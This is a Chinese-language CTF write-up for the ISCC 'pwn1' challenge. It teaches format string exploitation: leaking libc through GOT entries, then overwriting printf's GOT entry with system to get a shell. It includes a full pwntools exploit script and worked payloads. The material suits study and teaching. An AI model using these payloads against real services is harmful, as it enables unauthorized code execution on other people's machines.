[ISCC](PWN)pwn1 + 格式化字符串漏洞利用與分析


簡(jiǎn)介 :

pwn1
200
*28 solves*
歡迎來(lái)的pwn世界,這次你能學(xué)到什么新知識(shí)呢大猛?115.28.185.220:11111
[附件下載](http://iscc.isclab.org.cn/static/uploads/1ec9c1730461edfff561c395f566215d/pwn1.zip)

image.png

很明顯的格式化字符串漏洞

檢查一下可執(zhí)行程序的保護(hù)類型

image.png

程序沒(méi)有開(kāi)啟 PIE 保護(hù) , 那么也就是說(shuō)
程序的 .text .bss 等段在目標(biāo)服務(wù)器中的內(nèi)存地址中是固定的
基址為 : 0x8048000
我們知道利用格式化字符串是可以對(duì)任意內(nèi)存進(jìn)行讀寫操作的
那么這個(gè)程序我們應(yīng)該如何去利用 ?
首先需要明確的是我們這里的目的 : 拿到目標(biāo)主機(jī)的 shell
那么就是 :

shellcode 或者執(zhí)行 system("/bin/sh")

但是這里程序開(kāi)啟了 NX 保護(hù) , 因此 shellcode 這條路應(yīng)該是行不通了

那么我們就要考慮如何調(diào)用 system
要調(diào)用一個(gè)函數(shù)

  1. 我們首先需要知道這個(gè)函數(shù)在內(nèi)存中的地址
  2. 而且需要在棧上為程序布局好參數(shù)
  3. 還要能讓 ip 跳轉(zhuǎn)到這個(gè)函數(shù)去執(zhí)行

第一個(gè)問(wèn)題 , system 的地址如何獲取 ?

利用 printf 函數(shù) , 可以打印任意內(nèi)存的數(shù)據(jù)
那么我們就可以利用這個(gè)漏洞打印出 got 表中的函數(shù)在內(nèi)存中的地址
比如說(shuō)打印出 : puts 函數(shù)(libc中的函數(shù))
這樣我們就知道了一個(gè) libc 中的函數(shù)
根據(jù)這個(gè)函數(shù)在給定的 libc 的偏移我們就可以還原出整個(gè) libc 在內(nèi)存中的布局情況
這樣我們就可以很容易找到 system 函數(shù)在目標(biāo)服務(wù)器中的地址 , 這個(gè)問(wèn)題也就解決了
但是如果這道題并沒(méi)有給出 libc ?
應(yīng)該怎么去獲取 system 的地址呢 ?
首先 Linux 的內(nèi)核是不斷在更新的
其中的 libc 版本也隨著不斷地更新
那么當(dāng) libc 的內(nèi)容發(fā)生變化以后 , 其中函數(shù)之間的相對(duì)偏移肯定會(huì)發(fā)生變化
那么我們應(yīng)該怎么才能根據(jù)已知的函數(shù)地址來(lái)得到目標(biāo)函數(shù)地址呢 ?
做一個(gè)假設(shè) :
條件一 : 我們擁有從Linux發(fā)型以來(lái)所有版本的 libc 文件
條件二 : 我們已知至少兩個(gè)函數(shù)函數(shù)在目標(biāo)主機(jī)中的真實(shí)地址
那么我們是不是可以用第二個(gè)條件去推測(cè)目標(biāo)主機(jī)的 libc 版本呢 ?
我們來(lái)進(jìn)行進(jìn)一步的分析 :
關(guān)于條件二 :
這里我們可以注意到 : printf 是可以被我們循環(huán)調(diào)用的
因此可以進(jìn)行連續(xù)的內(nèi)存泄露
我們可以將多個(gè) got 表中的函數(shù)地址泄露出來(lái) ,
我們這樣就可以的至少兩個(gè)函數(shù)的地址 , 條件二滿足
關(guān)于條件一 :
哈哈~對(duì)了 , 這么有誘惑力的事情一定已經(jīng)有人做過(guò)了 , 這里給出一個(gè)網(wǎng)站 : http://libcdb.com/ , 大名鼎鼎 pwntools 中的 DynELF 就是根據(jù)這個(gè)原理運(yùn)作的
兩個(gè)條件都滿足 , 根據(jù)這些函數(shù)之間的偏移去篩選出 libc 的版本
這樣我們就相當(dāng)于得到了目標(biāo)服務(wù)器的 libc 文件 , 達(dá)到了同樣的效果

我們?cè)賮?lái)看第二個(gè)和第三個(gè)問(wèn)題 :

那么再來(lái)做一個(gè)假設(shè)
如果我們可以修改 got 表中的某一個(gè)函數(shù)的地址到 system 的地址
那么程序在調(diào)用這個(gè)函數(shù)的時(shí)候其實(shí)調(diào)用的就是 system 函數(shù)了, 根據(jù)格式化字符串漏洞的特性 , 我們知道是可以寫任意內(nèi)存的 , 那么這樣就解決了第三個(gè)問(wèn)題 , 怎么把 ip 設(shè)置到 system 函數(shù)
可是參數(shù)要怎么傳遞呢 ?

我們注意到 , 這個(gè)程序中存在以下 libc 中的函數(shù) :

puts
scanf
printf
gets

我們仔細(xì)想一下 , 這些函數(shù)的參數(shù)都是什么樣子的 , 我們需要調(diào)用的 system 函數(shù)的參數(shù)是什么樣的

SYSTEM(3)                             Linux Programmer's Manual                             SYSTEM(3)

NAME
       system - execute a shell command

SYNOPSIS
       #include <stdlib.h>

       int system(const char *command);

是一個(gè)字符指針 , 說(shuō)得更通用一點(diǎn)就是是一個(gè)地址
那么是不是就是說(shuō) , 如果我們可以控制上面的幾個(gè)函數(shù)的第一個(gè)參數(shù)為 "/bin/sh" 的地址
那么我們就相當(dāng)于為 system 函數(shù)傳遞了參數(shù) ?
答案是肯定的
我們現(xiàn)在來(lái)回過(guò)頭來(lái)看看程序的執(zhí)行流程 :

image.png

在跳轉(zhuǎn)到 system 之前 , 我們肯定要先調(diào)用 printf 將某一個(gè)函數(shù)的 got 表進(jìn)行覆蓋
那么我們應(yīng)該覆蓋哪個(gè)函數(shù) ?
注意到 printf 函數(shù)的參數(shù)是我們輸入的字符串的地址
如果我們先利用 printf 的格式化字符串漏洞將 printf 的 got 表修改為 system 的地址
然后程序繼續(xù)執(zhí)行
在 gets 的地方我們輸入 "/bin/sh"
然后程序自動(dòng)執(zhí)行 printf , 事實(shí)上 printf 已經(jīng)被我們修改成了 system , 而且傳遞的參數(shù)就是我們輸入的 /bin/sh
其實(shí)如果有一個(gè)函數(shù)的第一個(gè)參數(shù)是一個(gè)整形而且我們可以控制的話
我們也可以通過(guò)控制這個(gè)整形參數(shù)來(lái)達(dá)到執(zhí)行 system("/bin/sh") 的目的
這樣我們就完成了對(duì)漏洞利用過(guò)程的分析


下面我簡(jiǎn)單介紹一個(gè)格式化字符串漏洞 :
大家在學(xué)習(xí) c 語(yǔ)言的時(shí)候?qū)戇^(guò)的第一個(gè)程序就是

#include <stdio.h>

int main(){
  printf("Hello world!\n");
}

這里使用到了 prinf 函數(shù)
隨著學(xué)習(xí)的深入 , 我們逐漸知道 printf 是一個(gè)參數(shù)長(zhǎng)度可變的函數(shù)
其中第一個(gè)參數(shù)格式化字符串 , 這個(gè)格式化字符串中可以包含以 % 為開(kāi)頭標(biāo)記的格式化字符串
然后 printf 函數(shù)在處理第一個(gè)參數(shù)的時(shí)候 , 當(dāng)每一次遇到 % 開(kāi)頭的標(biāo)記 , 就會(huì)根據(jù)這個(gè) % 開(kāi)頭的格式化字符串所規(guī)定的規(guī)則在堆上構(gòu)造一個(gè)新的結(jié)果字符串 , 將整個(gè)格式化字符串檢索完畢后 , 會(huì)將這個(gè)字符串輸入
我們來(lái)總結(jié)一下 printf 有哪些可以使用的 % 標(biāo)記 :

常見(jiàn)用法 : 
%c 將對(duì)應(yīng)參數(shù)以字符的形式進(jìn)行格式化
%hd 以短整形的形式 (這里加上 h 表示短整形 , 也就是從內(nèi)存取值的時(shí)候只取 2 個(gè)字節(jié) (32位))
%d 以整形的形式
%ld 以長(zhǎng)整形的形式
%x 以 16 進(jìn)制的形式
%s 以字符串的形式 (注意這里與上面的有所不同 , 這里字符串的參數(shù)實(shí)際上是一個(gè)地址 , 這里的地址指向了需要被打印的字符串)
高級(jí)用法 : 
每一個(gè)格式化字符串的 % 后可以跟一個(gè) 10 進(jìn)制的常數(shù) , 表示格式化后得到的字符串的長(zhǎng)度
比如說(shuō) %4c 這會(huì)打印出三個(gè)空格以及一個(gè)字符
每一個(gè)格式化字符串的 % 之后可以跟一個(gè)十進(jìn)制的常數(shù)再跟一個(gè) $ 符號(hào), 表示格式化指定位置的參數(shù) : 
例如 : 
int a = 1;
int b = 2;
int c = 3;
printf("%1$d, %2$d, %3$d\n", a, b, c);
// 輸出結(jié)果為 : 1,2,3
printf("%3$d, %1$d, %2$d\n", a, b, c);
// 輸出結(jié)果為 : 3,1,2
還有一些不是很常用的格式化字符串例如 : 
%n
這個(gè)格式化字符串的作用是 : 將當(dāng)前已經(jīng)格式化寫入堆中的字符個(gè)數(shù)寫入到對(duì)應(yīng)的參數(shù)中
這樣說(shuō)可能有點(diǎn)抽象 , 舉個(gè)例子 : 
int size = 0;
printf("123456789%n", &size);
printf 首先會(huì)掃描第一個(gè)參數(shù) , 
如果這個(gè)參數(shù)不是轉(zhuǎn)義字符或者格式化字符串
就直接將其復(fù)制到堆上已經(jīng)申請(qǐng)好的用于保存即將輸出的結(jié)果字符串的內(nèi)存地址中 , 
并將計(jì)數(shù)器加上 1 
如果是轉(zhuǎn)義字符 , 則將轉(zhuǎn)義字符的結(jié)果復(fù)制到堆上 , 同理 + 1
當(dāng)遇到格式化字符串 , 也就同樣的道理
這里的計(jì)數(shù)器保存了當(dāng)前格式化得到的結(jié)果的字符數(shù)
那么當(dāng)上述 prinf 執(zhí)行結(jié)束后 , size 的值就會(huì)被修改為 9
一個(gè)值得注意的地方是 : 參數(shù)為 &size
也就是這個(gè)參數(shù)是一個(gè)內(nèi)存地址

好了 , 介紹完了格式化字符串函數(shù) , 再來(lái)介紹一下如何利用格式化字符串進(jìn)行任意內(nèi)存的讀寫的 :
首先來(lái)看任意內(nèi)存讀 :
我們知道 printf 可以使用 %s 來(lái)打印一個(gè)字符串
而且參數(shù)是一個(gè)內(nèi)存地址
那么也就是說(shuō)只要我們能控制 printf 的參數(shù) , 就可以通過(guò) %s 來(lái)打印任意的內(nèi)存數(shù)據(jù)
我們知道棧是由高地址向低地址生長(zhǎng)的
假如說(shuō) printf 只有一個(gè)參數(shù) , 這個(gè)參數(shù)是可以被我們控制的
我們就可以通過(guò)在這第一個(gè)參數(shù)中添加 % 這樣的格式化字符串來(lái)打印出棧上更高地址的數(shù)據(jù)
一般情況下 , 存在漏洞的代碼會(huì)長(zhǎng)這樣

in main(){
  char buffer[0x100] = {0};
  read(0, buffer, 0x100);
  printf(buffer);
}

這個(gè)小程序中 , buffer 是分配在棧上的 , 而且對(duì) buffer 的分配要早于 printf 的執(zhí)行
那么也就是說(shuō) buffer 的地址是高于 printf 的棧的
那么我們就可以利用格式化字符讀取到 buffer 的內(nèi)容 , 因?yàn)楦鶕?jù)我們之前的分析 , printf 會(huì)打印更高地址的數(shù)據(jù) , 也就是 printf 將更高的地址上的數(shù)據(jù)作為了參數(shù)
假如我們的格式化字符串是 : "AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
我們發(fā)現(xiàn)在第六個(gè)輸出的16進(jìn)制數(shù)的地方輸出了 : 0x41414141
那么也就是說(shuō) , 我們輸入的字符串的地址比 printf 的第一個(gè)參數(shù)的地址要高 6 * 4 = 24 個(gè)字節(jié) (32 位)

那么如果我們把第六個(gè) %08x 修改為 %s , 這樣
printf 就會(huì)將 AAAA 這個(gè)數(shù)據(jù)當(dāng)做是地址 , 進(jìn)行一次取值操作 , 將 0x41414141 這個(gè)地址中數(shù)據(jù)打印出來(lái) , 但是這里 0x41414141 這個(gè)地址是非法的 , 所以程序會(huì)報(bào)一個(gè)段錯(cuò)誤 , 并退出
可是如果我們輸入的并不是AAAA , 而是一個(gè)可讀的內(nèi)存地址的話 , 我們就可以使用 %s 來(lái)打印出這個(gè)內(nèi)存的數(shù)據(jù)了
TIP : 一般在利用的時(shí)候 :
"AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
會(huì)寫成 : "AAAA%6$08x"
減少 payload 長(zhǎng)度

再來(lái)看看任意地址寫 :
需要用到 %n 這個(gè)這個(gè)格式化字符串
同樣的道理 , "AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x"
當(dāng)打印這個(gè)格式化字符串的時(shí)候如果在第 6 個(gè)位置遇到了 AAAA
那么也就是說(shuō)我們就可以通過(guò)修改第六個(gè) %08x 來(lái)讓 printf 將AAAA視作一個(gè)地址 (%s 和 %n 都會(huì)這樣)
那么如果我們現(xiàn)在要向 0x12345678 的地址寫入數(shù)據(jù) : 0x19283746
應(yīng)該怎么辦呢 ?
如果我們這樣輸入 :
"\x78\x56\x34\x12%08x.%08x.%08x.%08x.%n."
printf 會(huì)先掃描這個(gè)字符串
通過(guò)計(jì)算 , 當(dāng)掃描到 %n 的時(shí)候應(yīng)該是已經(jīng)打印了 :
4 + 8 + 1 + 8 + 1 + 8 + 1 + 8 + 1 = 40 = 0x28個(gè)字符
那么這個(gè) 0x12345678 的地址就會(huì)被寫入 \x28\x00\x00\x00
這樣我們其實(shí)已經(jīng)實(shí)現(xiàn)了寫內(nèi)存操作
但是我們的目的可是要向這個(gè)地址寫入 0x19283746 = 422065990 這么大的值呀
難道我們要讓結(jié)果字符串的長(zhǎng)度是 422065990 嗎 乐设? 顯然是不可能的
這里我們就要利用到 h 這個(gè)符號(hào)了
根據(jù)之前對(duì) printf 的介紹 , 我們可以知道 %hd 可以以一個(gè)短整形的格式打印數(shù)據(jù)
那么這里也是一樣的
%hn就是向兩個(gè)字節(jié)的內(nèi)存地址寫入數(shù)據(jù)
%hhn就是向一個(gè)字節(jié)
這樣的話 , 我們就大大減少了我們輸入的字符的長(zhǎng)度
但是這么多字符如果要一個(gè)一個(gè)輸入的話還是很不好
這里我們還需要用到 %c 來(lái)進(jìn)行快速格式化得到制定數(shù)量的字符
%4c 就可以得到四個(gè)字符的輸出
那么%128c , %3543c 也是同樣的道理
我一般比較習(xí)慣于使用 %hhn , 這樣比較容易控制數(shù)量
我們?cè)賮?lái)回過(guò)頭來(lái)看看之前寫入任意內(nèi)存的問(wèn)題 :
那么如果我們現(xiàn)在要向 0x12345678 的地址寫入數(shù)據(jù) : 0x19283746

首先我們需要將被寫入的內(nèi)存地址布局在棧上
這里我們使用 %hhn 那么也就是需要四個(gè)地址

"\x78\x56\x34\x12\x79\x56\x34\x12\x7a\x56\x34\x12\x7b\x56\x34\x12"

然后我們就可以使用 %7$ %8$ 來(lái)定位到這些內(nèi)存地址
我們還要控制被寫入的數(shù)據(jù)
就可以通過(guò) %c 來(lái)控制寫入的字節(jié)數(shù)
這里需要考慮一個(gè)問(wèn)題 , 就是溢出
如果我們要向一個(gè)內(nèi)存字節(jié)中寫入 0x10 當(dāng)時(shí)我們已經(jīng)打印了多于 0x10 的數(shù)據(jù)那么怎么辦呢 ?
這里也不用擔(dān)心 , 因?yàn)閱巫止?jié)的寫入是會(huì)產(chǎn)生溢出的
假如說(shuō)我們現(xiàn)在已經(jīng)向內(nèi)存中寫入了 0xbf 個(gè)字節(jié)
我們要再次寫入 0x10 , 那么我們只需要將這個(gè)計(jì)數(shù)器調(diào)整為 0x110
這樣產(chǎn)生溢出以后 寫入內(nèi)存的就是 0x10 了
這樣就解決了一次性寫入多個(gè)字節(jié)的問(wèn)題


利用腳本 :

#!/usr/bin/env python

from pwn import *

def get_number(printed, target):
    print "[+] Target : %d" % (target)
    print "[+] printed number : %d" % (printed)
    if printed > target:
        return 256 - printed + target
    elif printed == target:
        return 0
    else:
        return target - printed

def write_memery(target, data, offset):
    lowest = data >> 8 * 3 & 0xFF
    low = data >> 8 * 2 & 0xFF
    high = data >> 8 * 1 & 0xFF
    highest = data >> 8 * 0 & 0xFF
    printed = 0
    payload = p32(target + 3) + p32(target + 2) + p32(target + 1) + p32(target + 0)
    length_lowest = get_number(len(payload), lowest)
    length_low = get_number(lowest, low)
    length_high = get_number(low, high)
    length_highest = get_number(high, highest)
    payload += '%' + str(length_lowest) + 'c' + '%' + str(offset) + '$hhn'
    payload += '%' + str(length_low) + 'c' + '%' + str(offset + 1) + '$hhn'
    payload += '%' + str(length_high) + 'c' + '%' + str(offset + 2) + '$hhn'
    payload += '%' + str(length_highest) + 'c' + '%' + str(offset + 3) + '$hhn'
    return payload


def leak(addr):
    Io.sendline("1")
    Io.readuntil("please input your name:\n")
    payload = p32(addr) + "%6$s"
    Io.sendline(payload)
    leak_data = Io.read()[4:8]
    return leak_data


Io = process("./pwn1")
Io.readuntil("plz input$")

# leak printf addr
printf_got = 0x0804A010
print "[+] got.printf : [%s]" % (hex(printf_got))
printf_addr = u32(leak(printf_got))
print "[+] Address of printf : [%s]" % (hex(printf_addr))

# get the address of system
system_offset = 0x0003a840
printf_offset = 0x000497c0
system_addr = printf_addr - printf_offset + system_offset
print "[+] Address of system : [%s]" % (hex(system_addr))

# write got.print to address of system
payload = write_memery(printf_got, system_addr, 6)
print "[+] Payload : %s" % (repr(payload))
Io.sendline("1")
Io.sendline(payload)

# write '/bin/sh'
Io.sendline("1")
Io.sendline("/bin/sh")

# interactive
Io.interactive()

參考資料 :
黑客之道-漏洞發(fā)掘的藝術(shù)

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末番挺,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子勋又,更是在濱河造成了極大的恐慌,老刑警劉巖泉褐,帶你破解...
    沈念sama閱讀 216,591評(píng)論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡揉忘,警方通過(guò)查閱死者的電腦和手機(jī)跳座,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,448評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)泣矛,“玉大人,你說(shuō)我怎么就攤上這事您朽』幌” “怎么了几颜?”我有些...
    開(kāi)封第一講書(shū)人閱讀 162,823評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)县习。 經(jīng)常有香客問(wèn)我谆趾,道長(zhǎng),這世上最難降的妖魔是什么沪蓬? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,204評(píng)論 1 292
  • 正文 為了忘掉前任跷叉,我火速辦了婚禮,結(jié)果婚禮上性芬,老公的妹妹穿的比我還像新娘。我一直安慰自己辫樱,他們只是感情好俊庇,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,228評(píng)論 6 388
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著搬男,像睡著了一般。 火紅的嫁衣襯著肌膚如雪缔逛。 梳的紋絲不亂的頭發(fā)上姓惑,一...
    開(kāi)封第一講書(shū)人閱讀 51,190評(píng)論 1 299
  • 那天,我揣著相機(jī)與錄音敦冬,去河邊找鬼唯沮。 笑死脖旱,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的溶褪。 我是一名探鬼主播踊兜,決...
    沈念sama閱讀 40,078評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼于游!你這毒婦竟也來(lái)了垫言?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 38,923評(píng)論 0 274
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤蚌成,失蹤者是張志新(化名)和其女友劉穎凛捏,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體坯癣,經(jīng)...
    沈念sama閱讀 45,334評(píng)論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡示罗,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,550評(píng)論 2 333
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了轧房。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片绍绘。...
    茶點(diǎn)故事閱讀 39,727評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖实辑,靈堂內(nèi)的尸體忽然破棺而出藻丢,到底是詐尸還是另有隱情摄乒,我是刑警寧澤残黑,帶...
    沈念sama閱讀 35,428評(píng)論 5 343
  • 正文 年R本政府宣布斋否,位于F島的核電站,受9級(jí)特大地震影響茵臭,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜奇徒,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,022評(píng)論 3 326
  • 文/蒙蒙 一缨硝、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧胖笛,春花似錦宜岛、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,672評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)佑刷。三九已至酿炸,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間填硕,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 32,826評(píng)論 1 269
  • 我被黑心中介騙來(lái)泰國(guó)打工壮莹, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留姻檀,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 47,734評(píng)論 2 368
  • 正文 我出身青樓胶台,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親诈唬。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,619評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容